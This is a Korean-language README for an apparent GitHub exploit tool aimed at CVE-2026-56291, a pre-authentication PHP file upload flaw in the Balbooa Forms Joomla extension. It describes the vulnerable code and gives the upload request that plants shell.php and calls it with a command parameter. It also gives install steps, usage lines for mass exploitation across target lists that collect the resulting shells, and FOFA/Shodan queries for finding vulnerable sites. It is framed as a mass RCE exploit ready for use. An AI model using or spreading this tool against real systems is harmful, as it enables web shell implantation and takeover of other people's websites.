개요

CVE-2026-56291은 Balbooa Forms(com_baforms) Joomla 확장 프로그램(< 2.4.1)에서 발생하는 치명적인(CVSS 9.8) 인증되지 않은 임의 파일 업로드 취약점입니다.

form.uploadAttachmentFile 프론트엔드 작업은 Session::checkToken()을 호출하지 않으며 어떠한 권한 검사도 수행하지 않습니다. 업로드된 파일은 공격자의 확장자를 그대로 사용합니다: $fileName = $name . '.' . $ext. 파일은 images/baforms/uploads/form-{id}/에 저장되어 PHP로 직접 실행될 수 있습니다.

영향을 받는 버전

버전	상태
1.0 – 2.4.0	취약
2.4.1+	패치됨

CISA KEV: 2026년 7월 10일 추가 — 실제 악용이 확인됨.

취약점 메커니즘

근본 원인

// FormModel::uploadAttachmentFile (frontend/models/forms/FormModel.php ~L122)
// No Session::checkToken(), no permission check, no extension whitelist
$fileName = $name . '.' . $ext;  // attacker's extension used directly
$filePath = JPATH_ROOT . '/images/baforms/uploads/form-' . $formId . '/' . $fileName;
move_uploaded_file($tmpFile, $filePath);

공격 흐름

POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1&format=json
  file = shell.php (multipart)
→ Saved to images/baforms/uploads/form-1/shell.php
→ https://target.com/images/baforms/uploads/form-1/shell.php?c=id
→ RCE

설치

git clone https://github.com/shinthink/CVE-2026-56291.git
cd CVE-2026-56291
pip install -r requirements.txt

사용법

python cve_2026_56291.py -t target.com
python cve_2026_56291.py -f targets.txt -o shells.txt
python cve_2026_56291.py -t target.com --debug
python cve_2026_56291.py -t target.com --no-cleanup

FOFA / Shodan

FOFA:   body="com_baforms"
Shodan: http.html:"baforms"

참고 자료

자료	링크
CISA KEV	cisa.gov/known-exploited-vulnerabilities
수정 사항	mysites.guru
연구자	Phil Taylor

_{Balbooa와 관련이 없습니다.}

CVE-2026-56291

인기

CVE-2026-56291 — Balbooa Forms Joomla 대량 RCE 익스플로잇

인증 전 form.uploadAttachmentFile → CSRF 없음 → PHP 업로드

개요